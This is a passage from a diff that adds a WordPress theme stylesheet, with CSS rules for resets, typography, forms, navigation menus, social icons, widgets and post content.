+	border-collapse: separate;
+	border-spacing: 0;
+}
+
+caption,
+th,
+td {
+	font-weight: normal;
+	text-align: left;
+}
+
+fieldset {
+	min-width: inherit;
+}
+
+blockquote:before,
+blockquote:after,
+q:before,
+q:after {
+	content: "";
+}
+
+blockquote,
+q {
+	-webkit-hyphens: none;
+	-moz-hyphens: none;
+	-ms-hyphens: none;
+	hyphens: none;
+	quotes: none;
+}
+
+a:focus {
+	outline: 2px solid #c1c1c1;
+	outline: 2px solid rgba(51, 51, 51, 0.3);
+}
+
+a:hover,
+a:active {
+	outline: 0;
+}
+
+a img {
+	border: 0;
+}
+
+
+/**
+ * 2.0 - Genericons
+ */
+
+.social-navigation a:before,
+.secondary-toggle:before,
+.dropdown-toggle:after,
+.bypostauthor > article .fn:after,
+.comment-reply-title small a:before,
+.comment-navigation .nav-next a:after,
+.comment-navigation .nav-previous a:before,
+.posted-on:before,
+.byline:before,
+.cat-links:before,
+.tags-links:before,
+.comments-link:before,
+.entry-format:before,
+.edit-link:before,
+.full-size-link:before,
+.pagination .prev:before,
+.pagination .next:before,
+.image-navigation a:before,
+.image-navigation a:after,
+.format-link .entry-title a:after,
+.entry-content .more-link:after,
+.entry-summary .more-link:after,
+.author-link:after {
+	-moz-osx-font-smoothing: grayscale;
+	-webkit-font-smoothing: antialiased;
+	display: inline-block;
+	font-family: "Genericons";
+	font-size: 16px;
+	font-style: normal;
+	font-weight: normal;
+	font-variant: normal;
+	line-height: 1;
+	speak: none;
+	text-align: center;
+	text-decoration: inherit;
+	text-transform: none;
+	vertical-align: top;
+}
+
+
+/**
+ * 3.0 Typography
+ */
+
+body,
+button,
+input,
+select,
+textarea {
+	color: #333;
+	font-family: "Noto Serif", serif;
+	font-size: 15px;
+	font-size: 1.5rem;
+	line-height: 1.6;
+}
+
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+	clear: both;
+	font-weight: 700;
+}
+
+p {
+	margin-bottom: 1.6em;
+}
+
+b,
+strong {
+	font-weight: 700;
+}
+
+dfn,
+cite,
+em,
+i {
+	font-style: italic;
+}
+
+blockquote {
+	border-left: 4px solid #707070;
+	border-left: 4px solid rgba(51, 51, 51, 0.7);
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	font-size: 18px;
+	font-size: 1.8rem;
+	font-style: italic;
+	line-height: 1.6667;
+	margin-bottom: 1.6667em;
+	padding-left: 0.7778em;
+}
+
+blockquote p {
+	margin-bottom: 1.6667em;
+}
+
+blockquote > p:last-child {
+	margin-bottom: 0;
+}
+
+blockquote cite,
+blockquote small {
+	color: #333;
+	font-size: 15px;
+	font-size: 1.5rem;
+	font-family: "Noto Sans", sans-serif;
+	line-height: 1.6;
+}
+
+blockquote em,
+blockquote i,
+blockquote cite {
+	font-style: normal;
+}
+
+blockquote strong,
+blockquote b {
+	font-weight: 400;
+}
+
+address {
+	font-style: italic;
+	margin: 0 0 1.6em;
+}
+
+code,
+kbd,
+tt,
+var,
+samp,
+pre {
+	font-family: Inconsolata, monospace;
+	-webkit-hyphens: none;
+	-moz-hyphens: none;
+	-ms-hyphens: none;
+	hyphens: none;
+}
+
+pre {
+	background-color: transparent;
+	background-color: rgba(0, 0, 0, 0.01);
+	border: 1px solid #eaeaea;
+	border: 1px solid rgba(51, 51, 51, 0.1);
+	line-height: 1.2;
+	margin-bottom: 1.6em;
+	max-width: 100%;
+	overflow: auto;
+	padding: 0.8em;
+	white-space: pre;
+	white-space: pre-wrap;
+	word-wrap: break-word;
+}
+
+abbr[title] {
+	border-bottom: 1px dotted #eaeaea;
+	border-bottom: 1px dotted rgba(51, 51, 51, 0.1);
+	cursor: help;
+}
+
+mark,
+ins {
+	background-color: #fff9c0;
+	text-decoration: none;
+}
+
+sup,
+sub {
+	font-size: 75%;
+	height: 0;
+	line-height: 0;
+	position: relative;
+	vertical-align: baseline;
+}
+
+sup {
+	bottom: 1ex;
+}
+
+sub {
+	top: .5ex;
+}
+
+small {
+	font-size: 75%;
+}
+
+big {
+	font-size: 125%;
+}
+
+
+/**
+ * 4.0 Elements
+ */
+
+hr {
+	background-color: #eaeaea;
+	background-color: rgba(51, 51, 51, 0.1);
+	border: 0;
+	height: 1px;
+	margin-bottom: 1.6em;
+}
+
+ul,
+ol {
+	margin: 0 0 1.6em 1.3333em;
+}
+
+ul {
+	list-style: disc;
+}
+
+ol {
+	list-style: decimal;
+}
+
+li > ul,
+li > ol {
+	margin-bottom: 0;
+}
+
+dl {
+	margin-bottom: 1.6em;
+}
+
+dt {
+	font-weight: bold;
+}
+
+dd {
+	margin-bottom: 1.6em;
+}
+
+table,
+th,
+td {
+	border: 1px solid #eaeaea;
+	border: 1px solid rgba(51, 51, 51, 0.1);
+}
+
+table {
+	border-collapse: separate;
+	border-spacing: 0;
+	border-width: 1px 0 0 1px;
+	margin: 0 0 1.6em;
+	table-layout: fixed; /* Prevents HTML tables from becoming too wide */
+	width: 100%;
+}
+
+caption,
+th,
+td {
+	font-weight: normal;
+	text-align: left;
+}
+
+th {
+	border-width: 0 1px 1px 0;
+	font-weight: 700;
+}
+
+td {
+	border-width: 0 1px 1px 0;
+}
+
+th, td {
+	padding: 0.4em;
+}
+
+img {
+	-ms-interpolation-mode: bicubic;
+	border: 0;
+	height: auto;
+	max-width: 100%;
+	vertical-align: middle;
+}
+
+figure {
+	margin: 0;
+}
+
+del {
+	opacity: 0.8;
+}
+
+/* Placeholder text color -- selectors need to be separate to work. */
+
+::-webkit-input-placeholder {
+	color: rgba(51, 51, 51, 0.7);
+	font-family: "Noto Sans", sans-serif;
+}
+
+:-moz-placeholder {
+	color: rgba(51, 51, 51, 0.7);
+	font-family: "Noto Sans", sans-serif;
+}
+
+::-moz-placeholder {
+	color: rgba(51, 51, 51, 0.7);
+	font-family: "Noto Sans", sans-serif;
+	opacity: 1; /* Since FF19 lowers the opacity of the placeholder by default */
+}
+
+:-ms-input-placeholder {
+	color: rgba(51, 51, 51, 0.7);
+	font-family: "Noto Sans", sans-serif;
+}
+
+
+/**
+ * 5.0 Forms
+ */
+
+button,
+input,
+select,
+textarea {
+	background-color: #f7f7f7;
+	border-radius: 0;
+	font-size: 16px;
+	font-size: 1.6rem;
+	line-height: 1.5;
+	margin: 0;
+	max-width: 100%;
+	vertical-align: baseline;
+}
+
+button,
+input {
+	-webkit-hyphens: none;
+	-moz-hyphens: none;
+	-ms-hyphens: none;
+	hyphens: none;
+	line-height: normal;
+}
+
+input,
+textarea {
+	background-image: -webkit-linear-gradient(rgba(255, 255, 255, 0), rgba(255, 255, 255, 0)); /* Removing the inner shadow on iOS inputs */
+	border: 1px solid #eaeaea;
+	border: 1px solid rgba(51, 51, 51, 0.1);
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+}
+
+input:focus,
+textarea:focus {
+	background-color: #fff;
+	border: 1px solid #c1c1c1;
+	border: 1px solid rgba(51, 51, 51, 0.3);
+	color: #333;
+}
+
+input:focus,
+select:focus {
+	outline: 2px solid #c1c1c1;
+	outline: 2px solid rgba(51, 51, 51, 0.3);
+}
+
+button[disabled],
+input[disabled],
+select[disabled],
+textarea[disabled] {
+	cursor: default;
+	opacity: .5;
+}
+
+button,
+input[type="button"],
+input[type="reset"],
+input[type="submit"] {
+	-webkit-appearance: button;
+	background-color: #333;
+	border: 0;
+	color: #fff;
+	cursor: pointer;
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-size: 1.2rem;
+	font-weight: 700;
+	padding: 0.7917em 1.5em;
+	text-transform: uppercase;
+}
+
+button:hover,
+input[type="button"]:hover,
+input[type="reset"]:hover,
+input[type="submit"]:hover,
+button:focus,
+input[type="button"]:focus,
+input[type="reset"]:focus,
+input[type="submit"]:focus {
+	background-color: #707070;
+	background-color: rgba(51, 51, 51, 0.7);
+	outline: 0;
+}
+
+input[type="search"] {
+	-webkit-appearance: textfield;
+}
+
+input[type="search"]::-webkit-search-cancel-button,
+input[type="search"]::-webkit-search-decoration {
+	-webkit-appearance: none;
+}
+
+button::-moz-focus-inner,
+input::-moz-focus-inner {
+	border: 0;
+	padding: 0;
+}
+
+input[type="text"],
+input[type="email"],
+input[type="url"],
+input[type="password"],
+input[type="search"],
+textarea {
+	padding: 0.375em;
+	width: 100%;
+}
+
+textarea {
+	overflow: auto;
+	vertical-align: top;
+}
+
+input[type="text"]:focus,
+input[type="email"]:focus,
+input[type="url"]:focus,
+input[type="password"]:focus,
+input[type="search"]:focus,
+textarea:focus {
+	outline: 0;
+}
+
+.post-password-form {
+	position: relative;
+}
+
+.post-password-form label {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	display: block;
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-size: 1.2rem;
+	font-weight: 700;
+	letter-spacing: 0.04em;
+	line-height: 1.5;
+	text-transform: uppercase;
+}
+
+.post-password-form input[type="submit"] {
+	padding: 0.7917em;
+	position: absolute;
+	right: 0;
+	bottom: 0;
+}
+
+input[type="checkbox"],
+input[type="radio"] {
+	padding: 0;
+}
+
+.search-form input[type="submit"],
+.widget .search-form input[type="submit"] {
+	padding: 0;
+}
+
+
+/**
+ * 6.0 Navigations
+ */
+
+
+/**
+ * 6.1 Links
+ */
+
+a {
+	color: #333;
+	text-decoration: none;
+}
+
+a:hover,
+a:focus {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+}
+
+
+/**
+ * 6.2 Menus
+ */
+
+.main-navigation a {
+	display: block;
+	padding: 0.8em 0;
+	position: relative;
+	text-decoration: none;
+}
+
+.main-navigation ul {
+	list-style: none;
+	margin: 0;
+}
+
+.main-navigation ul ul {
+	display: none;
+	margin-left: 0.8em;
+}
+
+.main-navigation ul .toggled-on {
+	display: block;
+}
+
+.main-navigation li {
+	border-top: 1px solid #eaeaea;
+	border-top: 1px solid rgba(51, 51, 51, 0.1);
+	position: relative;
+}
+
+.main-navigation .current-menu-item > a,
+.main-navigation .current-menu-ancestor > a {
+	font-weight: 700;
+}
+
+.main-navigation .nav-menu > ul > li:first-child,
+.main-navigation .nav-menu > li:first-child {
+	border-top: 0;
+}
+
+.main-navigation .menu-item-has-children > a {
+	padding-right: 48px;
+}
+
+.main-navigation .menu-item-description {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-size: 1.2rem;
+	font-weight: 400;
+	line-height: 1.5;
+	margin-top: 0.5em;
+}
+
+.no-js .main-navigation ul ul {
+	display: block;
+}
+
+.dropdown-toggle {
+	background-color: transparent;
+	border: 0;
+	-webkit-box-sizing: content-box;
+	-moz-box-sizing: content-box;
+	box-sizing: content-box;
+	content: "";
+	height: 42px;
+	padding: 0;
+	position: absolute;
+	text-transform: lowercase; /* Stop screen readers to read the text as capital letters */
+	top: 3px;
+	right: 0;
+	width: 42px;
+}
+
+.dropdown-toggle:after {
+	color: #333;
+	content: "\f431";
+	font-size: 24px;
+	line-height: 42px;
+	position: relative;
+	top: 0;
+	left: 1px;
+	width: 42px;
+}
+
+.dropdown-toggle:hover,
+.dropdown-toggle:focus {
+	background-color: #eaeaea;
+	background-color: rgba(51, 51, 51, 0.1);
+}
+
+.dropdown-toggle:focus {
+	outline: 1px solid #c1c1c1;
+	outline: 1px solid rgba(51, 51, 51, 0.3);
+}
+
+.dropdown-toggle.toggle-on:after {
+	content: "\f432";
+}
+
+.social-navigation {
+	margin: 9.0909% 0;
+}
+
+.social-navigation ul {
+	list-style: none;
+	margin: 0 0 -1.6em 0;
+}
+
+.social-navigation li {
+	float: left;
+}
+
+.social-navigation a {
+	display: block;
+	height: 3.2em;
+	position: relative;
+	width: 3.2em;
+}
+
+.social-navigation a:before {
+	content: "\f415";
+	font-size: 24px;
+	position: absolute;
+	top: 0;
+	left: 0;
+}
+
+.social-navigation a[href*="codepen.io"]:before {
+	content: "\f216";
+}
+
+.social-navigation a[href*="digg.com"]:before {
+	content: "\f221";
+}
+
+.social-navigation a[href*="dribbble.com"]:before {
+	content: "\f201";
+}
+
+.social-navigation a[href*="dropbox.com"]:before {
+	content: "\f225";
+}
+
+.social-navigation a[href*="facebook.com"]:before {
+	content: "\f203";
+}
+
+.social-navigation a[href*="flickr.com"]:before {
+	content: "\f211";
+}
+
+.social-navigation a[href*="foursquare.com"]:before {
+	content: "\f226";
+}
+
+.social-navigation a[href*="plus.google.com"]:before {
+	content: "\f206";
+}
+
+.social-navigation a[href*="github.com"]:before {
+	content: "\f200";
+}
+
+.social-navigation a[href*="instagram.com"]:before {
+	content: "\f215";
+}
+
+.social-navigation a[href*="linkedin.com"]:before {
+	content: "\f208";
+}
+
+.social-navigation a[href*="pinterest.com"]:before {
+	content: "\f210";
+}
+
+.social-navigation a[href*="getpocket.com"]:before {
+	content: "\f224";
+}
+
+.social-navigation a[href*="polldaddy.com"]:before {
+	content: "\f217";
+}
+
+.social-navigation a[href*="reddit.com"]:before {
+	content: "\f222";
+}
+
+.social-navigation a[href*="stumbleupon.com"]:before {
+	content: "\f223";
+}
+
+.social-navigation a[href*="tumblr.com"]:before {
+	content: "\f214";
+}
+
+.social-navigation a[href*="twitter.com"]:before {
+	content: "\f202";
+}
+
+.social-navigation a[href*="vimeo.com"]:before {
+	content: "\f212";
+}
+
+.social-navigation a[href*="wordpress.com"]:before,
+.social-navigation a[href*="wordpress.org"]:before {
+	content: "\f205";
+}
+
+.social-navigation a[href*="youtube.com"]:before {
+	content: "\f213";
+}
+
+.social-navigation a[href*="mailto:"]:before {
+	content: "\f410";
+}
+
+.social-navigation a[href*="spotify.com"]:before {
+	content: "\f515";
+}
+
+.social-navigation a[href*="twitch.tv"]:before {
+	content: "\f516";
+}
+
+.social-navigation a[href$="/feed/"]:before {
+	content: "\f413";
+}
+
+.social-navigation a[href*="path.com"]:before {
+	content: "\f219";
+}
+
+.social-navigation a[href*="skype.com"]:before {
+	content: "\f220";
+}
+
+.secondary-toggle {
+	background-color: transparent;
+	border: 1px solid #eaeaea;
+	border: 1px solid rgba(51, 51, 51, 0.1);
+	height: 42px;
+	overflow: hidden;
+	padding: 0;
+	position: absolute;
+	top: 50%;
+	right: 0;
+	text-align: center;
+	-webkit-transform: translateY(-50%);
+	-ms-transform: translateY(-50%);
+	transform: translateY(-50%);
+	width: 42px;
+}
+
+.secondary-toggle:before {
+	color: #333;
+	content: "\f419";
+	line-height: 40px;
+	width: 40px;
+}
+
+.secondary-toggle:hover,
+.secondary-toggle:focus {
+	background-color: transparent;
+	border: 1px solid #c1c1c1;
+	border: 1px solid rgba(51, 51, 51, 0.3);
+	outline: 0;
+}
+
+.secondary-toggle.toggled-on:before {
+	content: "\f405";
+	font-size: 32px;
+	position: relative;
+	top: 1px;
+	left: -1px;
+}
+
+.post-navigation {
+	background-color: #fff;
+	border-top: 1px solid #eaeaea;
+	border-top: 1px solid rgba(51, 51, 51, 0.1);
+	font-weight: 700;
+}
+
+.post-navigation a {
+	display: block;
+	padding: 3.8461% 7.6923%;
+}
+
+.post-navigation span {
+	display: block;
+}
+
+.post-navigation .meta-nav {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-size: 1.2rem;
+	letter-spacing: 0.04em;
+	line-height: 1.5;
+	position: relative;
+	text-transform: uppercase;
+	z-index: 2;
+}
+
+.post-navigation .post-title {
+	font-family: "Noto Serif", serif;
+	font-size: 18px;
+	font-size: 1.8rem;
+	line-height: 1.3333;
+	position: relative;
+	z-index: 2;
+}
+
+.post-navigation .nav-next,
+.post-navigation .nav-previous {
+	background-position: center;
+	background-size: cover;
+	position: relative;
+}
+
+.post-navigation a:before {
+	content: "";
+	display: block;
+	height: 100%;
+	position: absolute;
+	top: 0;
+	left: 0;
+	width: 100%;
+	z-index: 1;
+}
+
+.post-navigation a:hover:before,
+.post-navigation a:focus:before {
+	opacity: 0.5;
+}
+
+.post-navigation .meta-nav {
+	opacity: 0.8;
+}
+
+.post-navigation div + div {
+	border-top: 1px solid #eaeaea;
+	border-top: 1px solid rgba(51, 51, 51, 0.1);
+}
+
+.pagination {
+	background-color: #fff;
+	border-top: 1px solid rgba(51, 51, 51, 0.1);
+	font-family: "Noto Sans", sans-serif;
+}
+
+.pagination .nav-links {
+	min-height: 3.2em;
+	position: relative;
+	text-align: center;
+}
+
+/* reset screen-reader-text */
+.pagination .current .screen-reader-text {
+	position: static !important;
+}
+
+.pagination .page-numbers {
+	display: none;
+	line-height: 3.2em;
+	padding: 0 0.6667em;
+}
+
+.pagination .page-numbers.current {
+	text-transform: uppercase;
+}
+
+.pagination .current {
+	display: inline-block;
+	font-weight: 700;
+}
+
+.pagination .prev,
+.pagination .next {
+	-webkit-tap-highlight-color: rgba(255, 255, 255, 0.3);
+	background-color: #333;
+	color: #fff;
+	display: inline-block;
+	height: 48px;
+	overflow: hidden;
+	padding: 0;
+	position: absolute;
+	width: 48px;
+}
+
+.pagination .prev:before,
+.pagination .next:before {
+	font-size: 32px;
+	height: 48px;
+	line-height: 48px;
+	position: relative;
+	width: 48px;
+}
+
+.pagination .prev:hover,
+.pagination .prev:focus,
+.pagination .next:hover,
+.pagination .next:focus {
+	background-color: #707070;
+	background-color: rgba(51, 51, 51, 0.7);
+}
+
+.pagination .prev {
+	left: 0;
+}
+
+.pagination .prev:before {
+	content: "\f430";
+	left: -1px;
+}
+
+.pagination .next {
+	right: 0;
+}
+
+.pagination .next:before {
+	content: "\f429";
+	right: -1px;
+}
+
+.image-navigation,
+.comment-navigation {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	font-size: 12px;
+	font-size: 1.2rem;
+	font-family: "Noto Sans", sans-serif;
+	font-weight: 700;
+	line-height: 1.5;
+	text-transform: uppercase;
+}
+
+.image-navigation a,
+.comment-navigation a {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+}
+
+.image-navigation a:hover,
+.image-navigation a:focus,
+.comment-navigation a:hover,
+.comment-navigation a:focus {
+	color: #333;
+}
+
+.image-navigation .nav-previous:not(:empty),
+.image-navigation .nav-next:not(:empty),
+.comment-navigation .nav-previous:not(:empty),
+.comment-navigation .nav-next:not(:empty) {
+	display: inline-block;
+}
+
+.image-navigation .nav-previous:not(:empty) + .nav-next:not(:empty):before,
+.comment-navigation .nav-previous:not(:empty) + .nav-next:not(:empty):before {
+	content: "\2215";
+	font-weight: 400;
+	margin: 0 0.7em;
+}
+
+.image-navigation .nav-previous a:before,
+.comment-navigation .nav-previous a:before {
+	content: "\f430";
+	margin-right: 0.2em;
+	position: relative;
+}
+
+.image-navigation .nav-next a:after,
+.comment-navigation .nav-next a:after {
+	content: "\f429";
+	margin-left: 0.2em;
+	position: relative;
+}
+
+.comment-navigation {
+	border-top: 1px solid #eaeaea;
+	border-top: 1px solid rgba(51, 51, 51, 0.1);
+	border-bottom: 1px solid #eaeaea;
+	border-bottom: 1px solid rgba(51, 51, 51, 0.1);
+	padding: 2em 0;
+}
+
+.comments-title + .comment-navigation {
+	border-bottom: 0;
+}
+
+.image-navigation {
+	padding: 0 7.6923%;
+}
+
+.image-navigation .nav-previous:not(:empty),
+.image-navigation .nav-next:not(:empty) {
+	margin-bottom: 2em;
+}
+
+
+/**
+ * 7.0 Accessibility
+ */
+
+/* Text meant only for screen readers */
+.says,
+.screen-reader-text {
+	clip: rect(1px, 1px, 1px, 1px);
+	height: 1px;
+	overflow: hidden;
+	position: absolute !important;
+	width: 1px;
+}
+
+/* must have higher specificity than alternative color schemes inline styles */
+.site .skip-link {
+	background-color: #f1f1f1;
+	box-shadow: 0 0 1px 1px rgba(0, 0, 0, 0.2);
+	color: #21759b;
+	display: block;
+	font: bold 14px/normal "Noto Sans", sans-serif;
+	left: -9999em;
+	outline: none;
+	padding: 15px 23px 14px;
+	text-decoration: none;
+	text-transform: none;
+	top: -9999em;
+}
+
+.logged-in .site .skip-link {
+	box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6);
+	font: bold 14px/normal "Open Sans", sans-serif;
+}
+
+.site .skip-link:focus {
+	clip: auto;
+	height: auto;
+	left: 6px;
+	top: 7px;
+	width: auto;
+	z-index: 100000;
+}
+
+
+/**
+ * 8.0 Alignments
+ */
+
+.alignleft {
+	display: inline;
+	float: left;
+}
+
+.alignright {
+	display: inline;
+	float: right;
+}
+
+.aligncenter {
+	display: block;
+	margin-right: auto;
+	margin-left: auto;
+}
+
+blockquote.alignleft,
+.wp-caption.alignleft,
+img.alignleft {
+	margin: 0.4em 1.6em 1.6em 0;
+}
+
+blockquote.alignright,
+.wp-caption.alignright,
+img.alignright {
+	margin: 0.4em 0 1.6em 1.6em;
+}
+
+blockquote.aligncenter,
+.wp-caption.aligncenter,
+img.aligncenter {
+	clear: both;
+	margin-top: 0.4em;
+	margin-bottom: 1.6em;
+}
+
+.wp-caption.alignleft,
+.wp-caption.alignright,
+.wp-caption.aligncenter {
+	margin-bottom: 1.2em;
+}
+
+
+/**
+ * 9.0 Clearings
+ */
+
+.clear:before,
+.clear:after,
+.site:before,
+.site:after,
+.entry-content:before,
+.entry-content:after,
+.comment-content:before,
+.comment-content:after,
+.site-content:before,
+.site-content:after,
+.nav-links:before,
+.nav-links:after,
+.comment-navigation:before,
+.comment-navigation:after,
+.social-navigation ul:before,
+.social-navigation ul:after,
+.textwidget:before,
+.textwidget:after {
+	content: "";
+	display: table;
+}
+
+.clear:after,
+.site:after,
+.entry-content:after,
+.comment-content:after,
+.site-content:after,
+.nav-links:after,
+.comment-navigation:after,
+.social-navigation ul:after,
+.textwidget:after {
+	clear: both;
+}
+
+
+/**
+ * 10.0 Header
+ */
+
+.site-header {
+	background-color: #fff;
+	border-bottom: 1px solid rgba(51, 51, 51, 0.1);
+	padding: 7.6923%;
+}
+
+.site-branding {
+	min-height: 2em;
+	padding-right: 60px;
+	position: relative;
+}
+
+.site-title {
+	font-family: "Noto Sans", sans-serif;
+	font-size: 22px;
+	font-size: 2.2rem;
+	font-weight: 700;
+	line-height: 1.3636;
+	margin-bottom: 0;
+}
+
+.custom-logo {
+	max-height: 84px;
+	width: auto;
+}
+
+.wp-custom-logo .site-title {
+	margin-top: 0.545454545em;
+}
+
+.site-description {
+	display: none;
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-size: 1.2rem;
+	font-weight: 400;
+	line-height: 1.5;
+	margin: 0.5em 0 0;
+	opacity: 0.7;
+}
+
+
+/**
+ * 11.0 Widgets
+ */
+
+.widget {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	-webkit-hyphens: auto;
+	-moz-hyphens: auto;
+	-ms-hyphens: auto;
+	hyphens: auto;
+	margin: 0 auto 9.09090%;
+	width: 100%;
+	word-wrap: break-word;
+}
+
+.widget pre {
+	line-height: 1.2;
+}
+
+.widget button,
+.widget input,
+.widget select,
+.widget textarea {
+	font-size: 16px;
+	font-size: 1.6rem;
+	line-height: 1.5;
+}
+
+.widget button,
+.widget input {
+	line-height: normal;
+}
+
+.widget button,
+.widget input[type="button"],
+.widget input[type="reset"],
+.widget input[type="submit"] {
+	font-size: 12px;
+	font-size: 1.2rem;
+	padding: 0.7917em 1.5833em;
+}
+
+.widget input[type="text"],
+.widget input[type="email"],
+.widget input[type="url"],
+.widget input[type="password"],
+.widget input[type="search"],
+.widget textarea {
+	padding: 0.375em;
+}
+
+.widget-title {
+	color: #333;
+	font-family: "Noto Sans", sans-serif;
+	margin: 0 0 1.6em;
+	letter-spacing: 0.04em;
+	text-transform: uppercase;
+}
+
+.widget > :last-child {
+	margin-bottom: 0;
+}
+
+.widget_calendar table {
+	margin: 0;
+}
+
+.widget_calendar td,
+.widget_calendar th {
+	line-height: 2.3333;
+	text-align: center;
+	padding: 0;
+}
+
+.widget_calendar caption {
+	font-family: "Noto Serif", serif;
+	font-weight: 700;
+	margin: 0 0 1.6em;
+	letter-spacing: 0.04em;
+	text-transform: uppercase;
+}
+
+.widget_calendar tbody a {
+	-webkit-tap-highlight-color: rgba(255, 255, 255, 0.3);
+	background-color: #333;
+	color: #fff;
+	display: block;
+	font-weight: 700;
+}
+
+.widget_calendar tbody a:hover,
+.widget_calendar tbody a:focus {
+	background-color: #707070;
+	background-color: rgba(51, 51, 51, 0.7);
+	color: #fff;
+}
+
+.widget_archive a,
+.widget_categories a,
+.widget_links a,
+.widget_meta a,
+.widget_nav_menu a,
+.widget_pages a,
+.widget_recent_comments a,
+.widget_recent_entries a {
+	border: 0;
+}
+
+.widget_archive ul,
+.widget_categories ul,
+.widget_links ul,
+.widget_meta ul,
+.widget_nav_menu ul,
+.widget_pages ul,
+.widget_recent_comments ul,
+.widget_recent_entries ul {
+	list-style: none;
+	margin: 0;
+}
+
+.widget_archive li,
+.widget_categories li,
+.widget_links li,
+.widget_meta li,
+.widget_nav_menu li,
+.widget_pages li,
+.widget_recent_comments li,
+.widget_recent_entries li {
+	border-top: 1px solid #eaeaea;
+	border-top: 1px solid rgba(51, 51, 51, 0.1);
+	padding: 0.7667em 0;
+}
+
+.widget_archive li:first-child,
+.widget_categories li:first-child,
+.widget_links li:first-child,
+.widget_meta li:first-child,
+.widget_nav_menu li:first-child,
+.widget_pages li:first-child,
+.widget_recent_comments li:first-child,
+.widget_recent_entries li:first-child {
+	border-top: 0;
+	padding-top: 0;
+}
+
+.widget_archive li:last-child,
+.widget_categories li:last-child,
+.widget_links li:last-child,
+.widget_meta li:last-child,
+.widget_nav_menu li:last-child,
+.widget_pages li:last-child,
+.widget_recent_comments li:last-child,
+.widget_recent_entries li:last-child {
+	padding-bottom: 0;
+}
+
+.widget_categories .children,
+.widget_nav_menu .sub-menu,
+.widget_pages .children {
+	border-top: 1px solid #eaeaea;
+	border-top: 1px solid rgba(51, 51, 51, 0.1);
+	margin: 0.7667em 0 0 0.8em;
+	padding-top: 0.7667em;
+}
+
+.widget_recent_entries .post-date {
+	display: block;
+}
+
+.widget_rss ul {
+	list-style: none;
+	margin: 0;
+}
+
+.widget_rss li {
+	margin-bottom: 1.6em;
+}
+
+.widget_rss ul:last-child,
+.widget_rss li:last-child {
+	margin-bottom: 0;
+}
+
+.widget_rss .rsswidget {
+	border: 0;
+	font-weight: 700;
+}
+
+.widget_rss .rsswidget img {
+	margin-top: -4px;
+}
+
+.widget_rss .rss-date,
+.widget_rss cite {
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-size: 1.2rem;
+	font-style: normal;
+	display: block;
+	line-height: 2;
+	opacity: 0.8;
+}
+
+.textwidget > :last-child {
+	margin-bottom: 0;
+}
+
+.textwidget a {
+	border-bottom: 1px solid #333;
+}
+
+.textwidget a:hover,
+.textwidget a:focus {
+	border-bottom: 0;
+}
+
+.textwidget ul,
+.textwidget ol {
+	margin-left: 1.6em;
+}
+
+.tagcloud ul {
+	list-style-type: none;
+}
+
+.tagcloud ul li {
+	display: inline-block;
+}
+
+/**
+ * 12.0 Content
+ */
+
+.secondary {
+	background-color: #fff;
+	display: none;
+	padding: 0 7.6923%;
+}
+
+.secondary.toggled-on {
+	border-top: 1px solid transparent;
+	border-bottom: 1px solid transparent;
+	display: block;
+}
+
+.widget-area {
+	margin: 9.09090% auto 0;
+}
+
+.site-footer {
+	background-color: #fff;
+	border-top: 1px solid rgba(51, 51, 51, 0.1);
+	padding: 3.84615% 7.6923%;
+}
+
+
+/**
+ * 12.1 Posts and pages
+ */
+
+.hentry {
+	background-color: #fff;
+	padding-top: 7.6923%;
+	position: relative;
+}
+
+.hentry.has-post-thumbnail {
+	padding-top: 0;
+}
+
+.hentry.sticky:not(.has-post-thumbnail) {
+	padding-top: -webkit-calc(7.6923% + 24px);
+	padding-top: calc(7.6923% + 24px);
+}
+
+.hentry + .hentry {
+	border-top: 1px solid rgba(51, 51, 51, 0.1);
+}
+
+.post-thumbnail {
+	border: 0;
+	display: block;
+	margin-bottom: 2.4em;
+}
+.post-thumbnail img {
+	display: block;
+	margin: 0 auto;
+}
+
+a.post-thumbnail:hover,
+a.post-thumbnail:focus {
+	opacity: 0.85;
+}
+
+.entry-header {
+	padding: 0 7.6923%;
+}
+
+.entry-title {
+	font-size: 26px;
+	font-size: 2.6rem;
+	line-height: 1.1538;
+	margin-bottom: 0.9231em;
+}
+
+.entry-content,
+.entry-summary {
+	padding: 0 7.6923% 7.6923%;
+}
+
+.entry-content > :last-child,
+.entry-summary > :last-child {
+	margin-bottom: 0;
+}
+
+.entry-content,
+.entry-summary,
+.page-content,
+.comment-content {
+	-webkit-hyphens: auto;
+	-moz-hyphens: auto;
+	-ms-hyphens: auto;
+	hyphens: auto;
+	word-wrap: break-word;
+}
+
+.entry-content h1,
+.entry-summary h1,
+.page-content h1,
+.comment-content h1 {
+	font-size: 26px;
+	font-size: 2.6rem;
+	line-height: 1.1538;
+	margin-top: 1.8462em;
+	margin-bottom: 0.9231em;
+}
+
+.entry-content h2,
+.entry-summary h2,
+.page-content h2,
+.comment-content h2 {
+	font-size: 22px;
+	font-size: 2.2rem;
+	line-height: 1.3636;
+	margin-top: 2.1818em;
+	margin-bottom: 1.0909em;
+}
+
+.entry-content h3,
+.entry-summary h3,
+.page-content h3,
+.comment-content h3 {
+	font-size: 18px;
+	font-size: 1.8rem;
+	line-height: 1.3333;
+	margin-top: 2.6667em;
+	margin-bottom: 1.3333em;
+}
+
+.entry-content h4,
+.entry-content h5,
+.entry-content h6,
+.entry-summary h4,
+.entry-summary h5,
+.entry-summary h6,
+.page-content h4,
+.page-content h5,
+.page-content h6,
+.comment-content h4,
+.comment-content h5,
+.comment-content h6 {
+	font-size: 15px;
+	font-size: 1.5rem;
+	line-height: 1.2;
+	margin-top: 3.2em;
+	margin-bottom: 1.6em;
+}
+
+.entry-content h5,
+.entry-content h6,
+.entry-summary h5,
+.entry-summary h6,
